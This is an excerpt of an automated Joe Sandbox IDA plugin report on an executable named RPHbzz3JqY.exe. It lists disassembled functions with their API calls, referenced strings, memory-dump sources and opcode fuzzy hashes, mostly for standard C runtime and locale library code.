___from_strstr_to_strchr.LIBCMT ref: 0060554C
_free.LIBCMT ref: 00605625
_free.LIBCMT ref: 00605652

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: a30ce604f6dd5be4373aeb08a6c7f3a9c63af5ee412410669a7ca487bfb8918c
Instruction ID: 5e2ae3d30ebaa0d554564a2e3e18454af1429a55583183d2bd2b0a341555b236
Opcode Fuzzy Hash: a30ce604f6dd5be4373aeb08a6c7f3a9c63af5ee412410669a7ca487bfb8918c
Instruction Fuzzy Hash: 025129B0984B49AFDB29AF648C45ABF7FABEF01310F00456DE652972C2EB758941CF50

Function 005D40F0 Relevance: 10.8, APIs: 2, Strings: 4, Instructions: 311COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 005D43BE
__fread_nolock.LIBCMT ref: 005D43E2

Strings

ios_base::eofbit set, xrefs: 005D4211
ios_base::failbit set, xrefs: 005D420C, 005D4278
,`, xrefs: 005D411B, 005D4279
ios_base::badbit set, xrefs: 005D4202, 005D4228

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: __fread_nolock
String ID: ,`$ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 2638373210-833346958
Opcode ID: 05610ee7647f9865b99e4c2b42a61571c0344147d0ea90418006fa2aff11fe3b
Instruction ID: 09be4c00884360730d23eae60ba908ceef4ad5fab254e4902ae0da6e0ca6c700
Opcode Fuzzy Hash: 05610ee7647f9865b99e4c2b42a61571c0344147d0ea90418006fa2aff11fe3b
Instruction Fuzzy Hash: 7CA18B36A001099FCB28CF6CC884AAEBBA6FF94320F14856BED19CB355D631DD50CB90

Function 00604B2A Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\RPHbzz3JqY.exe, xrefs: 00604B2F
}L`, xrefs: 00604B7B

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID:
String ID: C:\Users\user\Desktop\RPHbzz3JqY.exe$}L`
API String ID: 0-3499546593
Opcode ID: 4638b63f38ddad28bdb6b78d7fc6df5e1610734cfbf0f7a1f12e4438dc65efd3
Instruction ID: 95762fa2229ae26902c4911c61637f8cb91ae70cf12ab629c176f6c7136f3416
Opcode Fuzzy Hash: 4638b63f38ddad28bdb6b78d7fc6df5e1610734cfbf0f7a1f12e4438dc65efd3
Instruction Fuzzy Hash: FF21B0B164810A6FDB34AF618C84EBB7BAEEE803687104514FA15962D1EF64EC1187A0

Function 005FD0A4 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Strings

api-ms-, xrefs: 005FD0FB
ext-ms-, xrefs: 005FD10F

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: 4ecd05929889a804de0a8bcd181cf55fe913f693ad464623a5077b6c2c87e51f
Instruction ID: ce7b2149284a1a36f7e1832274e878d980ba8ab7f36e577d142845ef00672c16
Opcode Fuzzy Hash: 4ecd05929889a804de0a8bcd181cf55fe913f693ad464623a5077b6c2c87e51f
Instruction Fuzzy Hash: BD21C632A41229A7CB214B248D45F7B7FBBBB057A0F150914FE16A7290DB39DD00C6F0

Function 006066B3 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 006063FF: _free.LIBCMT ref: 00606424

_free.LIBCMT ref: 00606701

Part of subcall function 005FCE37: HeapFree.KERNEL32(00000000,00000000,?,00606429,?,00000000,?,?,?,006066CC,?,00000007,?,?,00606BBF,?), ref: 005FCE4D
Part of subcall function 005FCE37: GetLastError.KERNEL32(?,?,00606429,?,00000000,?,?,?,006066CC,?,00000007,?,?,00606BBF,?,?), ref: 005FCE5F

_free.LIBCMT ref: 0060670C
_free.LIBCMT ref: 00606717
_free.LIBCMT ref: 0060676B
_free.LIBCMT ref: 00606776
_free.LIBCMT ref: 00606781
_free.LIBCMT ref: 0060678C

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 4bb7cfefca59b01fdb6ef220bd872d0b4c475c341da5657b3a5c2d1b5605872d
Instruction ID: 9a852376d423f5eb5c7e76c4cf54eb43446b57db431a26cd9cc29827ae289bcb
Opcode Fuzzy Hash: 4bb7cfefca59b01fdb6ef220bd872d0b4c475c341da5657b3a5c2d1b5605872d
Instruction Fuzzy Hash: F21181315C0B08BBD569B7B0CD0BFDB7F9DAF40740F40083CB79966092DA39B5254694

Function 005F6642 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,005F6637,?,?,005F65FF,00000001,00000000,?), ref: 005F6657
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 005F666A
FreeLibrary.KERNEL32(00000000,?,?,005F6637,?,?,005F65FF,00000001,00000000,?), ref: 005F668D

Strings

@0], xrefs: 005F667B
mscoree.dll, xrefs: 005F6650
CorExitProcess, xrefs: 005F6662

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: @0]$CorExitProcess$mscoree.dll
API String ID: 4061214504-173498003
Opcode ID: b651c5fdd4f45f76d5a0856b41a0be311759b5308fbfd2c19e686adf0f21b547
Instruction ID: 8b28d546126019d1d7109170c074b576dd171d2cd4d3f7886b412c70b9afa398
Opcode Fuzzy Hash: b651c5fdd4f45f76d5a0856b41a0be311759b5308fbfd2c19e686adf0f21b547
Instruction Fuzzy Hash: FEF05830A4022CBBDB119BA0DC09BAEBEAAEF00756F050460AA01E61A0CB758E00DA94

Function 005FDE56 Relevance: 9.3, APIs: 6, Instructions: 317fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(00000010,00000000,?), ref: 005FDE9E
__fassign.LIBCMT ref: 005FE083
__fassign.LIBCMT ref: 005FE0A0
WriteFile.KERNEL32(?,00000010,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 005FE0E8
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 005FE128
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 005FE1D0

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: FileWrite__fassign$ConsoleErrorLastOutput
String ID:
API String ID: 1735259414-0
Opcode ID: 9aa2734bd5e5ef99c2637931f18c4001985f497adbebedbee1d45cae952c71c5
Instruction ID: ab9e0bddbc0f9e1b5954e69baceee0e01a229faf821e6e9fd9f7cfd95e7d9304
Opcode Fuzzy Hash: 9aa2734bd5e5ef99c2637931f18c4001985f497adbebedbee1d45cae952c71c5
Instruction Fuzzy Hash: 7EC1AD71D0025D9FDB24CFA9C8809EDBFB6BF48304F28416AE956B7352D6359D06CB60

Function 005F051C Relevance: 9.2, APIs: 6, Instructions: 224COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?), ref: 005F05A7
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 005F0635
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 005F06A7
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 005F06C1
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 005F0724
CompareStringEx.KERNEL32(?,?,?,?,00000000,?,00000000,00000000,00000000), ref: 005F0741

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: ByteCharMultiWide$CompareInfoString
String ID:
API String ID: 2984826149-0
Opcode ID: 09f2558c92068c3b75b797065ed3b1192420b6af17e3945ae90ee397b461ae45
Instruction ID: c09a215e81bd580fd0181869f93db2d96d42eff4bc3cba844e2412a47fb4bcff
Opcode Fuzzy Hash: 09f2558c92068c3b75b797065ed3b1192420b6af17e3945ae90ee397b461ae45
Instruction Fuzzy Hash: 83718D7190120EAADF219FA4CC49AFE7FB6FF85350F1C2455EA05E6192DB799840CBA0

Function 005F02E2 Relevance: 9.2, APIs: 6, Instructions: 175COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 005F032B
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 005F0396
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 005F03B3
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 005F03F2
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 005F0451
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 005F0474

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: ByteCharMultiStringWide
String ID:
API String ID: 2829165498-0
Opcode ID: c22bc67121f7773a66855a25d989e7295d3064570b1faf5069c440d90c1e5b95
Instruction ID: fb3dedde16d7b7fc1cb9c3bddd8d6ff2e823c51b7ff93644e149eeb1c5c03214
Opcode Fuzzy Hash: c22bc67121f7773a66855a25d989e7295d3064570b1faf5069c440d90c1e5b95
Instruction Fuzzy Hash: 9C518D7250021EABEF209F64CC49FBB7FAAFB44750F189925BB05961D2D7798C108BA0

Function 00600E0B Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00600E95

Strings

$i_, xrefs: 00600E0D

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: _strrchr
String ID: $i_
API String ID: 3213747228-2414783397
Opcode ID: baa62c8111508225817319dd1be884d816bd16b82f7b4bf7868aea9b7a7ecd7c
Instruction ID: 4b08b76d5def55339a86dcec00c0b26b49fe4c7bb8d757bc30dd79b2a1f399d4
Opcode Fuzzy Hash: baa62c8111508225817319dd1be884d816bd16b82f7b4bf7868aea9b7a7ecd7c
Instruction Fuzzy Hash: 43B149719402869FEB298F24C8417FFBBF6EF56300F1441AAE945AF381D6349D41C760

Function 005F395A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,005F3951,005F27FB,005F15E7), ref: 005F3968
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 005F3976
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 005F398F
SetLastError.KERNEL32(00000000,005F3951,005F27FB,005F15E7), ref: 005F39E1

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 300e414b6d0f42656769e0e713988273b85ebeeb90939450eed1f8caef365ee3
Instruction ID: 3e9f63e15d2ab1747510464908273a015cec1f6a3c24788a93b5445374bede0e
Opcode Fuzzy Hash: 300e414b6d0f42656769e0e713988273b85ebeeb90939450eed1f8caef365ee3
Instruction Fuzzy Hash: 2901B53220A21A5EBB246B756C9AA7B2E46FB45776724123AF318412E2FED94D015540

Function 005F3A71 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 005F3B38
___AdjustPointer.LIBCMT ref: 005F3B5B
___AdjustPointer.LIBCMT ref: 005F3BF7

Strings

@0], xrefs: 005F3AD0

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: AdjustPointer
String ID: @0]
API String ID: 1740715915-1162301288
Opcode ID: bde7764eac2eeda61790ee326846fb8895d4863e670b0ddaef82273b3f8f4562
Instruction ID: b26a858e6e6362c206225e245346c15c130fb7f7c1a2ba5878244c219448e411
Opcode Fuzzy Hash: bde7764eac2eeda61790ee326846fb8895d4863e670b0ddaef82273b3f8f4562
Instruction Fuzzy Hash: 6651CF7160160EAFEB249F10C855B7A7FA5FF40710F24482DEE4587291E739AE41D790

Function 005F49F2 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,?,005F4AB3,?,?,00620B4C,00000000,?,005F4BDE,00000004,InitializeCriticalSectionEx,00611958,mscoree.dll,00000000), ref: 005F4A82

Strings

api-ms-, xrefs: 005F4A42

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: 9b988abd6b198defed7e0f51b1bb3adf4d89ea6e080ec04bd5656329fc3649c1
Instruction ID: 4a245f1adb8b4f38342fa4a56a7895d95ed94d9656c075199f02655550cd9585
Opcode Fuzzy Hash: 9b988abd6b198defed7e0f51b1bb3adf4d89ea6e080ec04bd5656329fc3649c1
Instruction Fuzzy Hash: A111CA32AC1239ABDB318B689C4476B3B9ABF41770F150951FA51EB280D774ED008ED9

Function 00606188 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 006061A0

Part of subcall function 005FCE37: HeapFree.KERNEL32(00000000,00000000,?,00606429,?,00000000,?,?,?,006066CC,?,00000007,?,?,00606BBF,?), ref: 005FCE4D
Part of subcall function 005FCE37: GetLastError.KERNEL32(?,?,00606429,?,00000000,?,?,?,006066CC,?,00000007,?,?,00606BBF,?,?), ref: 005FCE5F

_free.LIBCMT ref: 006061B2
_free.LIBCMT ref: 006061C4
_free.LIBCMT ref: 006061D6
_free.LIBCMT ref: 006061E8

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 04e09cffdc8fc455571419066f49bf780ff7b56eaced4f244914e42ba9c71b57
Instruction ID: 44bda84abd51fc8cd5c880ba0c3fd2c292473a637d17c27ca69671b3ad178b53
Opcode Fuzzy Hash: 04e09cffdc8fc455571419066f49bf780ff7b56eaced4f244914e42ba9c71b57
Instruction Fuzzy Hash: 33F01232584248BBC625EB58FA86C9B7FEFBA407207585866F619D7642CB34FCA08650

Function 005D1CC0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 174COMMON

Download Yara Rule

APIs

std::locale::_Init.LIBCPMT ref: 005D1D46

Strings

ios_base::eofbit set, xrefs: 005D1E95
ios_base::failbit set, xrefs: 005D1E90
ios_base::badbit set, xrefs: 005D1E86, 005D1EAF

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: Initstd::locale::_
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 1620887387-1866435925
Opcode ID: 8e615ca537233f60dec03f20f56955f6796ef1ac6db502d44e0d831a5412c922
Instruction ID: 4c11eab08e431ef7d1b95c1ce5a274ca44afaa0c2996069e55c13a603971a402
Opcode Fuzzy Hash: 8e615ca537233f60dec03f20f56955f6796ef1ac6db502d44e0d831a5412c922
Instruction Fuzzy Hash: 7B616BB1A00615DFDB14CF18C885B9ABBF5FF48300F1484AAED459B386D776E901CB91

Function 005D23F0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 158COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 005D254F

Strings

ios_base::eofbit set, xrefs: 005D24F2
ios_base::failbit set, xrefs: 005D24ED
ios_base::badbit set, xrefs: 005D24E3, 005D250C, 005D2533

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: ___std_exception_copy
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 2659868963-1866435925
Opcode ID: e158e7cf22e74cec819319abcec0173db0779319f0c80bf8000b48deca5a0bc9
Instruction ID: eaa9b60f691ed6d9694b119d2e1992f9b09bed3bdf05e26709bf1ee3470f8b68
Opcode Fuzzy Hash: e158e7cf22e74cec819319abcec0173db0779319f0c80bf8000b48deca5a0bc9
Instruction Fuzzy Hash: 3851ED766012159FCB24CF5CC480E9AFBE4FF68310B0485ABE9199B752D732ED04CBA0

Function 005D1ED0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

std::locale::_Init.LIBCPMT ref: 005D1F88

Strings

ios_base::eofbit set, xrefs: 005D2032
ios_base::failbit set, xrefs: 005D202D
ios_base::badbit set, xrefs: 005D2023, 005D204C

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: Initstd::locale::_
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 1620887387-1866435925
Opcode ID: 3a3bf96cb8015d797bf87146d02e12d2eeca20413438d43a9124579f78ca5970
Instruction ID: 1f0fbc8e582b4647edf136d03128d2e8641f60848235fa0dc1e8c1725d79c518
Opcode Fuzzy Hash: 3a3bf96cb8015d797bf87146d02e12d2eeca20413438d43a9124579f78ca5970
Instruction Fuzzy Hash: 99417FB06007069FD720CF59C598B5BBFE4BF04304F44896ED94A8B782D7B6E958CB91

Function 005E4D30 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 106COMMON

Download Yara Rule

APIs

std::locale::_Init.LIBCPMT ref: 005E4D99

Part of subcall function 005EF760: std::_Lockit::_Lockit.LIBCPMT ref: 005EF772
Part of subcall function 005EF760: std::locale::_Setgloballocale.LIBCPMT ref: 005EF78D
Part of subcall function 005EF760: _Yarn.LIBCPMT ref: 005EF7A3
Part of subcall function 005EF760: std::_Lockit::~_Lockit.LIBCPMT ref: 005EF7E3

Strings

ios_base::eofbit set, xrefs: 005E4E3E
ios_base::failbit set, xrefs: 005E4E39
ios_base::badbit set, xrefs: 005E4E2F, 005E4E58

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$InitLockit::_Lockit::~_SetgloballocaleYarn
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 238635018-1866435925
Opcode ID: f20416c6e9972406d310124c11d303940b7f52e37b25951c8a9d81b7168b159e
Instruction ID: 5aaa403f5f67b3dfb6bec5a751f904a5254765e772268557c26d6739b2b42168
Opcode Fuzzy Hash: f20416c6e9972406d310124c11d303940b7f52e37b25951c8a9d81b7168b159e
Instruction Fuzzy Hash: 3631C0B19007459FE724DF25C459B57BBE8BF80304F048929D9868BA82E7BAE804CB81

Function 005DF3A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 92processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,00000000,?), ref: 005DF447
CloseHandle.KERNEL32(?), ref: 005DF45A
CloseHandle.KERNEL32(?), ref: 005DF45F

Strings

D, xrefs: 005DF3FA

Memory Dump Source

